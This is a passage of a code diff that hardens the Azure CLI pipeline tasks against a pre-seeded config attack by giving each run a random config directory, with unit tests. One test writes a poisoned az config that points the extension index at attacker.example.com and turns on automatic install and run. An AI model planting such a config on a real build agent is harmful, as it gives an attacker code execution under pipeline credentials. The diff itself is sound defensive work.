diff --git a/Tasks/AzureCLIV1/Tests/L0.ts b/Tasks/AzureCLIV1/Tests/L0.ts index 8d38bb4e86f2..5c0f36646f49 100644 --- a/Tasks/AzureCLIV1/Tests/L0.ts +++ b/Tasks/AzureCLIV1/Tests/L0.ts @@ -3,10 +3,15 @@ import path = require('path'); import os = require('os'); import * as ttm from 'azure-pipelines-task-lib/mock-test'; +import { runConfigDirIsolationTests } from './L0ConfigDirIsolation'; describe('AzureCLIV1 Suite', function () { this.timeout(20000); + describe('AZURE_CONFIG_DIR isolation', () => { + runConfigDirIsolationTests(); + }); + // Use cross-platform temp directory for assertions const tempDir = require('os').tmpdir(); diff --git a/Tasks/AzureCLIV1/Tests/L0ConfigDirIsolation.ts b/Tasks/AzureCLIV1/Tests/L0ConfigDirIsolation.ts new file mode 100644 index 000000000000..d372e7f820c2 --- /dev/null +++ b/Tasks/AzureCLIV1/Tests/L0ConfigDirIsolation.ts @@ -0,0 +1,133 @@ +import assert = require('assert'); +import * as fs from 'fs'; +import * as os from 'os'; +import * as path from 'path'; + +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from '../src/AzureCliConfigDir'; + +export function runConfigDirIsolationTests() { + describe('createPerInvocationAzureConfigDir (security hardening)', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('sets process.env.AZURE_CONFIG_DIR to the new directory', () => { + delete process.env['AZURE_CONFIG_DIR']; + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.strictEqual(process.env['AZURE_CONFIG_DIR'], dir, + 'helper must set the env var so az picks up the new dir'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('creates a brand-new directory under the agent temp root', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert(fs.existsSync(dir), 'config dir should exist on disk'); + assert(fs.statSync(dir).isDirectory(), 'should be a directory'); + assert(path.dirname(dir) === fs.realpathSync(agentTemp) || path.dirname(dir) === agentTemp, + `config dir parent should be agent temp, got ${path.dirname(dir)}`); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('does NOT use the predictable ".azclitask" path that the vulnerable code used', () => { + const vulnerablePath = path.join(agentTemp, '.azclitask'); + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, vulnerablePath, + 'must not use the fixed predictable path attackable by pre-seeding'); + assert(path.basename(dir).startsWith('.azclitask-'), + `basename should start with ".azclitask-" (got "${path.basename(dir)}")`); + assert(path.basename(dir).length > '.azclitask-'.length, + 'mkdtemp must append a random suffix'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('produces a different directory on each invocation', () => { + const a = createPerInvocationAzureConfigDir(agentTemp); + const b = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(a, b, 'two invocations must yield distinct dirs'); + } finally { + fs.rmSync(a, { recursive: true, force: true }); + fs.rmSync(b, { recursive: true, force: true }); + } + }); + + it('ignores an attacker-pre-seeded ".azclitask/config" in the agent temp', () => { + // Simulate the exact attack: a prior step writes a poisoned config at the + // predictable path the vulnerable task used to point AZURE_CONFIG_DIR at. + const poisonedDir = path.join(agentTemp, '.azclitask'); + fs.mkdirSync(poisonedDir, { recursive: true }); + const poisonedConfig = path.join(poisonedDir, 'config'); + fs.writeFileSync(poisonedConfig, + '[extension]\nindex_url = https://attacker.example.com/index.json\n' + + 'use_dynamic_install = yes_without_prompt\n' + + 'run_after_dynamic_install = True\n'); + + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, poisonedDir, + 'new config dir must not be the attacker-controlled predictable path'); + assert(!fs.existsSync(path.join(dir, 'config')), + 'newly-created config dir must not contain a pre-seeded config file'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('throws when agentTempDir is empty/undefined', () => { + assert.throws(() => createPerInvocationAzureConfigDir(undefined as any)); + assert.throws(() => createPerInvocationAzureConfigDir('')); + }); + }); + + describe('removePerInvocationAzureConfigDir', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('removes the directory (even when it contains files left by az)', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + fs.writeFileSync(path.join(dir, 'config'), '[extension]\nindex_url = x\n'); + fs.mkdirSync(path.join(dir, 'cliextensions')); + process.env['AZURE_CONFIG_DIR'] = dir; + removePerInvocationAzureConfigDir(dir); + assert(!fs.existsSync(dir), 'directory must be gone after cleanup'); + assert(process.env['AZURE_CONFIG_DIR'] === undefined, + 'AZURE_CONFIG_DIR env var must be unset after cleanup'); + }); + + it('is a no-op for null/empty inputs (safe in finally)', () => { + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(null)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(undefined)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir('')); + }); + + it('never throws when the path does not exist', () => { + const ghost = path.join(agentTemp, '.azclitask-ghost00'); + assert(!fs.existsSync(ghost)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(ghost)); + }); + }); +} diff --git a/Tasks/AzureCLIV1/azureclitask.ts b/Tasks/AzureCLIV1/azureclitask.ts index 084a8a62708b..6d6af83aaa32 100644 --- a/Tasks/AzureCLIV1/azureclitask.ts +++ b/Tasks/AzureCLIV1/azureclitask.ts @@ -5,6 +5,7 @@ import fs = require("fs"); import os = require("os"); import { getHandlerFromToken, WebApi } from "azure-devops-node-api"; import { ITaskApi } from "azure-devops-node-api/TaskApi"; +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from "./src/AzureCliConfigDir"; const nodeVersion = parseInt(process.version.split('.')[0].replace('v', '')); if (nodeVersion > 16) { @@ -155,11 +156,20 @@ export class azureclitask { if (this.isLoggedIn) { this.logoutAzure(); } + + // Must run AFTER all `az` cleanup commands (logoutAzure → `az account clear`) + // so they still see the per-invocation profile. Removing it earlier would + // unset AZURE_CONFIG_DIR and cause `az` to mutate the agent's global profile. + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } } } private static isLoggedIn: boolean = false; private static cliPasswordPath: string = null; + private static azCliConfigPath: string = null; private static servicePrincipalId: string = null; private static servicePrincipalKey: string = null; private static federatedToken: string = null; @@ -229,10 +239,13 @@ export class azureclitask { return; } - if (!!tl.getVariable('Agent.TempDirectory')) { - var azCliConfigPath = path.join(tl.getVariable('Agent.TempDirectory'), ".azclitask"); - console.log(tl.loc('SettingAzureConfigDir', azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = azCliConfigPath; + const agentTempDir = tl.getVariable('Agent.TempDirectory'); + if (!!agentTempDir) { + // Security: create an unpredictable per-invocation + // directory so an earlier pipeline step cannot pre-seed a poisoned + // az config file at $(Agent.TempDirectory)/.azclitask/config. + this.azCliConfigPath = createPerInvocationAzureConfigDir(agentTempDir); + console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); } else { console.warn(tl.loc('GlobalCliConfigAgentVersionWarning')); } diff --git a/Tasks/AzureCLIV1/src/AzureCliConfigDir.ts b/Tasks/AzureCLIV1/src/AzureCliConfigDir.ts new file mode 100644 index 000000000000..43bf78aa070e --- /dev/null +++ b/Tasks/AzureCLIV1/src/AzureCliConfigDir.ts @@ -0,0 +1,81 @@ +import * as fs from 'fs'; +import * as path from 'path'; +import * as tl from 'azure-pipelines-task-lib/task'; + +/** + * AZURE_CONFIG_DIR isolation helper for the AzureCLI@1/@2/@3 tasks. + * + * NOTE: this file is intentionally duplicated under + * Tasks/AzureCLIV1/src, Tasks/AzureCLIV2/src and Tasks/AzureCLIV3/src. + * Each AzureCLI task is shipped as a self-contained npm package and the + * repo convention is to keep small, task-coupled helpers in the task + * folder rather than introduce a new shared package. Keep all three + * copies in sync when changing this file. + * + * Background: the legacy code pointed AZURE_CONFIG_DIR at the predictable + * path $(Agent.TempDirectory)/.azclitask which allowed any earlier + * pipeline step running on the same agent to pre-seed a poisoned `config` + * file (e.g. extension.index_url / use_dynamic_install / + * run_after_dynamic_install) and achieve code execution under the + * service-connection identity once the AzureCLI task subsequently invoked + * `az`. Creating a fresh, unpredictable directory per invocation closes + * that gap. + */ + +/** + * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the + * supplied agent temp directory and points process.env.AZURE_CONFIG_DIR + * at it. Returns the absolute path. The directory has the form + * `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * cryptographically-random alphanumeric characters chosen by libuv + * (filesystem-safe on every supported OS). Pairing the env-var set with + * the directory creation here (and the unset with cleanup in + * removePerInvocationAzureConfigDir) keeps the lifetime of the variable + * scoped to the lifetime of the directory. + */ +export function createPerInvocationAzureConfigDir(agentTempDir: string): string { + if (!agentTempDir) { + throw new Error('agentTempDir is required'); + } + let dir: string; + try { + dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + } catch (mkErr) { + // Fail loudly. We deliberately do NOT fall back to the predictable + // $(Agent.TempDirectory)/.azclitask path (that is the very vulnerability + // this code closes) nor silently to the user's global ~/.azure profile + // (that would override the user's explicit useGlobalConfig=false choice + // and could mutate the agent identity's profile across pipeline runs). + // The caller's outer catch surfaces this as a task failure. + const msg = (mkErr && (mkErr as Error).message) || String(mkErr); + throw new Error( + `Failed to create an isolated AZURE_CONFIG_DIR under '${agentTempDir}': ${msg}. ` + + `Verify Agent.TempDirectory exists and is writable by the agent account. ` + + `If you intentionally want to use the global Azure CLI configuration (~/.azure), ` + + `set the task input 'useGlobalConfig: true'.`); + } + process.env['AZURE_CONFIG_DIR'] = dir; + return dir; +} + +/** + * Removes a directory previously created by + * createPerInvocationAzureConfigDir and unsets the AZURE_CONFIG_DIR env + * var. Safe to call in `finally` — never throws; logs to tl.debug on + * failure so a broken cleanup cannot mask the original task error. + */ +export function removePerInvocationAzureConfigDir(configPath: string | null | undefined): void { + if (!configPath) { + return; + } + tl.debug(`Removing per-invocation AZURE_CONFIG_DIR: ${configPath}`); + try { + tl.rmRF(configPath); + } catch (rmErr) { + const msg = (rmErr && (rmErr as Error).message) || String(rmErr); + tl.debug(`Failed to remove AZURE_CONFIG_DIR: ${msg}`); + } + try { + delete process.env['AZURE_CONFIG_DIR']; + } catch { /* ignore */ } +} \ No newline at end of file diff --git a/Tasks/AzureCLIV1/task.json b/Tasks/AzureCLIV1/task.json index 3039092b3897..f581164a30a7 100644 --- a/Tasks/AzureCLIV1/task.json +++ b/Tasks/AzureCLIV1/task.json @@ -19,7 +19,7 @@ "demands": [], "version": { "Major": 1, - "Minor": 274, + "Minor": 275, "Patch": 0 }, "minimumAgentVersion": "2.0.0", diff --git a/Tasks/AzureCLIV1/task.loc.json b/Tasks/AzureCLIV1/task.loc.json index c9444a0606b1..f0c03a97779f 100644 --- a/Tasks/AzureCLIV1/task.loc.json +++ b/Tasks/AzureCLIV1/task.loc.json @@ -19,7 +19,7 @@ "demands": [], "version": { "Major": 1, - "Minor": 274, + "Minor": 275, "Patch": 0 }, "minimumAgentVersion": "2.0.0", diff --git a/Tasks/AzureCLIV2/Tests/L0.ts b/Tasks/AzureCLIV2/Tests/L0.ts index 033bce6979db..ccd3e0f83155 100644 --- a/Tasks/AzureCLIV2/Tests/L0.ts +++ b/Tasks/AzureCLIV2/Tests/L0.ts @@ -4,6 +4,7 @@ import path = require('path'); import * as ttm from 'azure-pipelines-task-lib/mock-test'; import { runValidateScriptArgsTests } from './L0ValidateScriptArgs'; import { runTryValidateScriptArgsTests } from './L0TryValidateScriptArgs'; +import { runConfigDirIsolationTests } from './L0ConfigDirIsolation'; describe('AzureCLIV2 Suite', function () { this.timeout(30000); @@ -16,6 +17,10 @@ describe('AzureCLIV2 Suite', function () { runTryValidateScriptArgsTests(); }); + describe('AZURE_CONFIG_DIR isolation', () => { + runConfigDirIsolationTests(); + }); + it('LateBoundIdToken: Feature Flag ON, Token Present -> Uses Token, Emits Telemetry', async () => { let tp = path.join(__dirname, 'LateBoundIdToken_FeatureFlagOn_TokenPresent.js'); let tr: ttm.MockTestRunner = new ttm.MockTestRunner(tp); diff --git a/Tasks/AzureCLIV2/Tests/L0ConfigDirIsolation.ts b/Tasks/AzureCLIV2/Tests/L0ConfigDirIsolation.ts new file mode 100644 index 000000000000..d372e7f820c2 --- /dev/null +++ b/Tasks/AzureCLIV2/Tests/L0ConfigDirIsolation.ts @@ -0,0 +1,133 @@ +import assert = require('assert'); +import * as fs from 'fs'; +import * as os from 'os'; +import * as path from 'path'; + +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from '../src/AzureCliConfigDir'; + +export function runConfigDirIsolationTests() { + describe('createPerInvocationAzureConfigDir (security hardening)', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('sets process.env.AZURE_CONFIG_DIR to the new directory', () => { + delete process.env['AZURE_CONFIG_DIR']; + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.strictEqual(process.env['AZURE_CONFIG_DIR'], dir, + 'helper must set the env var so az picks up the new dir'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('creates a brand-new directory under the agent temp root', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert(fs.existsSync(dir), 'config dir should exist on disk'); + assert(fs.statSync(dir).isDirectory(), 'should be a directory'); + assert(path.dirname(dir) === fs.realpathSync(agentTemp) || path.dirname(dir) === agentTemp, + `config dir parent should be agent temp, got ${path.dirname(dir)}`); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('does NOT use the predictable ".azclitask" path that the vulnerable code used', () => { + const vulnerablePath = path.join(agentTemp, '.azclitask'); + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, vulnerablePath, + 'must not use the fixed predictable path attackable by pre-seeding'); + assert(path.basename(dir).startsWith('.azclitask-'), + `basename should start with ".azclitask-" (got "${path.basename(dir)}")`); + assert(path.basename(dir).length > '.azclitask-'.length, + 'mkdtemp must append a random suffix'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('produces a different directory on each invocation', () => { + const a = createPerInvocationAzureConfigDir(agentTemp); + const b = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(a, b, 'two invocations must yield distinct dirs'); + } finally { + fs.rmSync(a, { recursive: true, force: true }); + fs.rmSync(b, { recursive: true, force: true }); + } + }); + + it('ignores an attacker-pre-seeded ".azclitask/config" in the agent temp', () => { + // Simulate the exact attack: a prior step writes a poisoned config at the + // predictable path the vulnerable task used to point AZURE_CONFIG_DIR at. + const poisonedDir = path.join(agentTemp, '.azclitask'); + fs.mkdirSync(poisonedDir, { recursive: true }); + const poisonedConfig = path.join(poisonedDir, 'config'); + fs.writeFileSync(poisonedConfig, + '[extension]\nindex_url = https://attacker.example.com/index.json\n' + + 'use_dynamic_install = yes_without_prompt\n' + + 'run_after_dynamic_install = True\n'); + + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, poisonedDir, + 'new config dir must not be the attacker-controlled predictable path'); + assert(!fs.existsSync(path.join(dir, 'config')), + 'newly-created config dir must not contain a pre-seeded config file'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('throws when agentTempDir is empty/undefined', () => { + assert.throws(() => createPerInvocationAzureConfigDir(undefined as any)); + assert.throws(() => createPerInvocationAzureConfigDir('')); + }); + }); + + describe('removePerInvocationAzureConfigDir', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('removes the directory (even when it contains files left by az)', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + fs.writeFileSync(path.join(dir, 'config'), '[extension]\nindex_url = x\n'); + fs.mkdirSync(path.join(dir, 'cliextensions')); + process.env['AZURE_CONFIG_DIR'] = dir; + removePerInvocationAzureConfigDir(dir); + assert(!fs.existsSync(dir), 'directory must be gone after cleanup'); + assert(process.env['AZURE_CONFIG_DIR'] === undefined, + 'AZURE_CONFIG_DIR env var must be unset after cleanup'); + }); + + it('is a no-op for null/empty inputs (safe in finally)', () => { + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(null)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(undefined)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir('')); + }); + + it('never throws when the path does not exist', () => { + const ghost = path.join(agentTemp, '.azclitask-ghost00'); + assert(!fs.existsSync(ghost)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(ghost)); + }); + }); +} diff --git a/Tasks/AzureCLIV2/azureclitask.ts b/Tasks/AzureCLIV2/azureclitask.ts index 29b34905b4ae..7b97565e648e 100644 --- a/Tasks/AzureCLIV2/azureclitask.ts +++ b/Tasks/AzureCLIV2/azureclitask.ts @@ -10,6 +10,7 @@ import { getHandlerFromToken, WebApi } from "azure-devops-node-api"; import { ITaskApi } from "azure-devops-node-api/TaskApi"; import { validateAzModuleVersion } from "azure-pipelines-tasks-azure-arm-rest/azCliUtility"; import { tryValidateScriptArgs, ArgsSanitizingError } from "./src/argsSanitizer"; +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from "./src/AzureCliConfigDir"; const nodeVersion = parseInt(process.version.split('.')[0].replace('v', '')); if (nodeVersion > 16) { @@ -147,7 +148,11 @@ export class azureclitask { } if (scriptType) { - await scriptType.cleanUp(); + try { + await scriptType.cleanUp(); + } catch (cleanupErr) { + tl.warning(`scriptType.cleanUp() threw: ${cleanupErr && cleanupErr.message || cleanupErr}`); + } } if (this.cliPasswordPath) { @@ -218,11 +223,20 @@ export class azureclitask { process.env.AZURESUBSCRIPTION_CLIENT_ID = ''; process.env.AZURESUBSCRIPTION_TENANT_ID = ''; } + + // Must run AFTER all `az` cleanup commands (logoutAzure → `az account clear`) + // so they still see the per-invocation profile. Removing it earlier would + // unset AZURE_CONFIG_DIR and cause `az` to mutate the agent's global profile. + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } } } private static isLoggedIn: boolean = false; private static cliPasswordPath: string = null; + private static azCliConfigPath: string = null; private static servicePrincipalId: string = null; private static servicePrincipalKey: string = null; private static federatedToken: string = null; @@ -354,13 +368,19 @@ export class azureclitask { return; } - if (!!tl.getVariable('Agent.TempDirectory')) { - var azCliConfigPath = path.join(tl.getVariable('Agent.TempDirectory'), ".azclitask"); - console.log(tl.loc('SettingAzureConfigDir', azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = azCliConfigPath; - } else { + const tempDir = tl.getVariable('Agent.TempDirectory'); + if (!tempDir) { console.warn(tl.loc('GlobalCliConfigAgentVersionWarning')); + return; } + + // Security: use a freshly-created, unpredictable per-invocation directory + // so that an earlier step cannot pre-seed $(Agent.TempDirectory)/.azclitask/config + // with a poisoned extension.index_url (security hardening). + // fs.mkdtempSync creates a brand-new directory; the random suffix prevents + // attacker pre-seeding and the tight perms come from the agent temp root. + this.azCliConfigPath = createPerInvocationAzureConfigDir(tempDir); + console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); } private static setAzureCloudBasedOnServiceEndpoint(): void { diff --git a/Tasks/AzureCLIV2/src/AzureCliConfigDir.ts b/Tasks/AzureCLIV2/src/AzureCliConfigDir.ts new file mode 100644 index 000000000000..43bf78aa070e --- /dev/null +++ b/Tasks/AzureCLIV2/src/AzureCliConfigDir.ts @@ -0,0 +1,81 @@ +import * as fs from 'fs'; +import * as path from 'path'; +import * as tl from 'azure-pipelines-task-lib/task'; + +/** + * AZURE_CONFIG_DIR isolation helper for the AzureCLI@1/@2/@3 tasks. + * + * NOTE: this file is intentionally duplicated under + * Tasks/AzureCLIV1/src, Tasks/AzureCLIV2/src and Tasks/AzureCLIV3/src. + * Each AzureCLI task is shipped as a self-contained npm package and the + * repo convention is to keep small, task-coupled helpers in the task + * folder rather than introduce a new shared package. Keep all three + * copies in sync when changing this file. + * + * Background: the legacy code pointed AZURE_CONFIG_DIR at the predictable + * path $(Agent.TempDirectory)/.azclitask which allowed any earlier + * pipeline step running on the same agent to pre-seed a poisoned `config` + * file (e.g. extension.index_url / use_dynamic_install / + * run_after_dynamic_install) and achieve code execution under the + * service-connection identity once the AzureCLI task subsequently invoked + * `az`. Creating a fresh, unpredictable directory per invocation closes + * that gap. + */ + +/** + * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the + * supplied agent temp directory and points process.env.AZURE_CONFIG_DIR + * at it. Returns the absolute path. The directory has the form + * `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * cryptographically-random alphanumeric characters chosen by libuv + * (filesystem-safe on every supported OS). Pairing the env-var set with + * the directory creation here (and the unset with cleanup in + * removePerInvocationAzureConfigDir) keeps the lifetime of the variable + * scoped to the lifetime of the directory. + */ +export function createPerInvocationAzureConfigDir(agentTempDir: string): string { + if (!agentTempDir) { + throw new Error('agentTempDir is required'); + } + let dir: string; + try { + dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + } catch (mkErr) { + // Fail loudly. We deliberately do NOT fall back to the predictable + // $(Agent.TempDirectory)/.azclitask path (that is the very vulnerability + // this code closes) nor silently to the user's global ~/.azure profile + // (that would override the user's explicit useGlobalConfig=false choice + // and could mutate the agent identity's profile across pipeline runs). + // The caller's outer catch surfaces this as a task failure. + const msg = (mkErr && (mkErr as Error).message) || String(mkErr); + throw new Error( + `Failed to create an isolated AZURE_CONFIG_DIR under '${agentTempDir}': ${msg}. ` + + `Verify Agent.TempDirectory exists and is writable by the agent account. ` + + `If you intentionally want to use the global Azure CLI configuration (~/.azure), ` + + `set the task input 'useGlobalConfig: true'.`); + } + process.env['AZURE_CONFIG_DIR'] = dir; + return dir; +} + +/** + * Removes a directory previously created by + * createPerInvocationAzureConfigDir and unsets the AZURE_CONFIG_DIR env + * var. Safe to call in `finally` — never throws; logs to tl.debug on + * failure so a broken cleanup cannot mask the original task error. + */ +export function removePerInvocationAzureConfigDir(configPath: string | null | undefined): void { + if (!configPath) { + return; + } + tl.debug(`Removing per-invocation AZURE_CONFIG_DIR: ${configPath}`); + try { + tl.rmRF(configPath); + } catch (rmErr) { + const msg = (rmErr && (rmErr as Error).message) || String(rmErr); + tl.debug(`Failed to remove AZURE_CONFIG_DIR: ${msg}`); + } + try { + delete process.env['AZURE_CONFIG_DIR']; + } catch { /* ignore */ } +} \ No newline at end of file diff --git a/Tasks/AzureCLIV2/task.json b/Tasks/AzureCLIV2/task.json index 5ba5532bea58..e4c1f7df72ca 100644 --- a/Tasks/AzureCLIV2/task.json +++ b/Tasks/AzureCLIV2/task.json @@ -20,7 +20,7 @@ "version": { "Major": 2, "Minor": 275, - "Patch": 4 + "Patch": 6 }, "minimumAgentVersion": "2.0.0", "instanceNameFormat": "Azure CLI $(scriptPath)", diff --git a/Tasks/AzureCLIV2/task.loc.json b/Tasks/AzureCLIV2/task.loc.json index 5342bcff0bd7..1b8711402c82 100644 --- a/Tasks/AzureCLIV2/task.loc.json +++ b/Tasks/AzureCLIV2/task.loc.json @@ -20,7 +20,7 @@ "version": { "Major": 2, "Minor": 275, - "Patch": 4 + "Patch": 6 }, "minimumAgentVersion": "2.0.0", "instanceNameFormat": "ms-resource:loc.instanceNameFormat", diff --git a/Tasks/AzureCLIV3/Tests/L0.ts b/Tasks/AzureCLIV3/Tests/L0.ts index c9a3187f3d95..16c268f7b7ab 100644 --- a/Tasks/AzureCLIV3/Tests/L0.ts +++ b/Tasks/AzureCLIV3/Tests/L0.ts @@ -3,6 +3,7 @@ import path = require('path'); import * as ttm from 'azure-pipelines-task-lib/mock-test'; import { runValidateScriptArgsTests } from './L0ValidateScriptArgs'; import { runTryValidateScriptArgsTests } from './L0TryValidateScriptArgs'; +import { runConfigDirIsolationTests } from './L0ConfigDirIsolation'; describe('AzureCLIV3 Suite', function () { const timeout = 30000; @@ -21,6 +22,10 @@ describe('AzureCLIV3 Suite', function () { runTryValidateScriptArgsTests(); }); + describe('AZURE_CONFIG_DIR isolation', () => { + runConfigDirIsolationTests(); + }); + it('Should handle Azure DevOps connection with Workload Identity Federation', function (done) { this.timeout(timeout); diff --git a/Tasks/AzureCLIV3/Tests/L0ConfigDirIsolation.ts b/Tasks/AzureCLIV3/Tests/L0ConfigDirIsolation.ts new file mode 100644 index 000000000000..d372e7f820c2 --- /dev/null +++ b/Tasks/AzureCLIV3/Tests/L0ConfigDirIsolation.ts @@ -0,0 +1,133 @@ +import assert = require('assert'); +import * as fs from 'fs'; +import * as os from 'os'; +import * as path from 'path'; + +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from '../src/AzureCliConfigDir'; + +export function runConfigDirIsolationTests() { + describe('createPerInvocationAzureConfigDir (security hardening)', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('sets process.env.AZURE_CONFIG_DIR to the new directory', () => { + delete process.env['AZURE_CONFIG_DIR']; + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.strictEqual(process.env['AZURE_CONFIG_DIR'], dir, + 'helper must set the env var so az picks up the new dir'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('creates a brand-new directory under the agent temp root', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert(fs.existsSync(dir), 'config dir should exist on disk'); + assert(fs.statSync(dir).isDirectory(), 'should be a directory'); + assert(path.dirname(dir) === fs.realpathSync(agentTemp) || path.dirname(dir) === agentTemp, + `config dir parent should be agent temp, got ${path.dirname(dir)}`); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('does NOT use the predictable ".azclitask" path that the vulnerable code used', () => { + const vulnerablePath = path.join(agentTemp, '.azclitask'); + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, vulnerablePath, + 'must not use the fixed predictable path attackable by pre-seeding'); + assert(path.basename(dir).startsWith('.azclitask-'), + `basename should start with ".azclitask-" (got "${path.basename(dir)}")`); + assert(path.basename(dir).length > '.azclitask-'.length, + 'mkdtemp must append a random suffix'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('produces a different directory on each invocation', () => { + const a = createPerInvocationAzureConfigDir(agentTemp); + const b = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(a, b, 'two invocations must yield distinct dirs'); + } finally { + fs.rmSync(a, { recursive: true, force: true }); + fs.rmSync(b, { recursive: true, force: true }); + } + }); + + it('ignores an attacker-pre-seeded ".azclitask/config" in the agent temp', () => { + // Simulate the exact attack: a prior step writes a poisoned config at the + // predictable path the vulnerable task used to point AZURE_CONFIG_DIR at. + const poisonedDir = path.join(agentTemp, '.azclitask'); + fs.mkdirSync(poisonedDir, { recursive: true }); + const poisonedConfig = path.join(poisonedDir, 'config'); + fs.writeFileSync(poisonedConfig, + '[extension]\nindex_url = https://attacker.example.com/index.json\n' + + 'use_dynamic_install = yes_without_prompt\n' + + 'run_after_dynamic_install = True\n'); + + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, poisonedDir, + 'new config dir must not be the attacker-controlled predictable path'); + assert(!fs.existsSync(path.join(dir, 'config')), + 'newly-created config dir must not contain a pre-seeded config file'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('throws when agentTempDir is empty/undefined', () => { + assert.throws(() => createPerInvocationAzureConfigDir(undefined as any)); + assert.throws(() => createPerInvocationAzureConfigDir('')); + }); + }); + + describe('removePerInvocationAzureConfigDir', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('removes the directory (even when it contains files left by az)', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + fs.writeFileSync(path.join(dir, 'config'), '[extension]\nindex_url = x\n'); + fs.mkdirSync(path.join(dir, 'cliextensions')); + process.env['AZURE_CONFIG_DIR'] = dir; + removePerInvocationAzureConfigDir(dir); + assert(!fs.existsSync(dir), 'directory must be gone after cleanup'); + assert(process.env['AZURE_CONFIG_DIR'] === undefined, + 'AZURE_CONFIG_DIR env var must be unset after cleanup'); + }); + + it('is a no-op for null/empty inputs (safe in finally)', () => { + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(null)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(undefined)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir('')); + }); + + it('never throws when 